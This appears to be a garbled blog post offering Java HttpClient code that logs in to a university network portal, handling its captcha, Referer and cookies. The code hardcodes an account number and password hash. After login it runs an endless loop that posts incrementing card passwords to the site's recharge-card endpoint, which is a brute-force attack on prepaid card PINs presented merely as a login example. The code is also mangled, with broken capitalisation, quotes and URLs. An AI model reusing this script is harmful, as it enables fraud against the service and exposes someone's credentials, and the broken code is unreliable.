Http://e.neusoft.edu.cn/nav_login
Analog Browser login above this website, login server according to the verification code, refer and Cookie protection measures, verification code in the HTML file.
Import Java.io.bufferedreader;import Java.io.ioexception;import Java.io.inputstream;import Java.io.inputstreamreader;import Java.util.arraylist;import Java.util.list;import Java.util.Scanner;import Org.apache.http.header;import Org.apache.http.httpentity;import Org.apache.http.httpresponse;import Org.apache.http.namevaluepair;import Org.apache.http.client.clientprotocolexception;import Org.apache.http.client.httpclient;import Org.apache.http.client.entity.urlencodedformentity;import Org.apache.http.client.methods.httpget;import Org.apache.http.client.methods.httppost;import Org.apache.http.impl.client.defaulthttpclient;import Org.apache.http.message.basicnamevaluepair;import Org.apache.http.protocol.http;import Org.apache.http.util.entityutils;public class HttpRequst {public static void Main (String strings[]) {HttpClient HttpClient = new Defaulthttpclient (); try {httpget getmethod=new httpget ("Http://e.neusoft.edu.cn/nav_login"); Getmethod.setheader ("User-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; trident/5.0) "); HttpResponse Response=httpclient.execute (GetMethod); Header arrheaders[]=response.getallheaders (); Entityutils.consume (Response.getentity ()); Getmethod=new httpget ("http://e.neusoft.edu.cn/RandomCodeAction.action?randomNum=0.9179729035059037"); Getmethod.setheader ("User-agent", "mozilla/5.0" (compatible; MSIE 9.0; Windows NT 6.1; WOW64; trident/5.0) "); Response=httpclient.execute (GetMethod); Entityutils.consume (Response.getentity ()); String checkcode= ""; Scanner scan=new Scanner (system.in); Checkcode=scan.next (); HttpPost postmethod=new httppost ("http://e.neusoft.edu.cn/LoginAction.action"); Postmethod.setheader ("User-agent", "mozilla/5.0" (compatible; MSIE 9.0; Windows NT 6.1; WOW64; trident/5.0) "); Postmethod.setheader ("Referer", "Http://e.neusoft.edu.cn/nav_login"); List<namevaluepair> params=new arraylist<namevaluepair> (); Params.add (New BasicNamevaluepair ("Account", "13354284438")); Params.add (New Basicnamevaluepair ("Password", "c11d5abf846db275243d94b8472706d4")); Params.add (New Basicnamevaluepair ("Code", "")); Params.add (New Basicnamevaluepair ("Checkcode", Checkcode)); Params.add (New Basicnamevaluepair ("Submit", "Login")); Add the parameter postmethod.setentity (new Urlencodedformentity (params,http. Utf_8)); Postmethod.setheaders (arrheaders); Response=httpclient.execute (Postmethod); Entityutils.consume (Response.getentity ()); Class Postthread implements Runnable {private HttpClient myclient=null; private int num=23453234; Public Postthread (HttpClient client) {myclient=client; } @Overridepublic void Run () {//TODO auto-generated method Stubwhile (True) {HttpPost postmethod=new httppost ("http/ E.neusoft.edu.cn/rechargecard.action ");p ostmethod.setheader (" User-agent "," mozilla/5.0 "(compatible; MSIE 9.0; Windows NT 6.1; WOW64; trident/5.0);p ostmethod.setheader ("Referer", "Http://e.neusOft.edu.cn/nav_rcard "); List<namevaluepair> params=new arraylist<namevaluepair> ();p Arams.add (New Basicnamevaluepair ("CardName "," 046uijalz101480 "));p Arams.add (New Basicnamevaluepair (" CARDPSW "," +num++) ");p Arams.add (New Basicnamevaluepair (" Submit "," Submission ")); HttpResponse response;try {postmethod.setentity (new urlencodedformentity (params,http. utf_8)); response = Myclient.execute (Postmethod); Entityutils.consume (Response.getentity ());} catch (Clientprotocolexception e) {//Todo auto-generated catch Blocke.printstacktrace ();} catch (IOException e) {//TODO Auto-generated catch Blocke.printstacktrace ();}} } }; Postthread mpostthread=new Postthread (httpclient); Mpostthread.run (); } catch (IOException e) {} finally {}}}
Java uses httpclient for Web login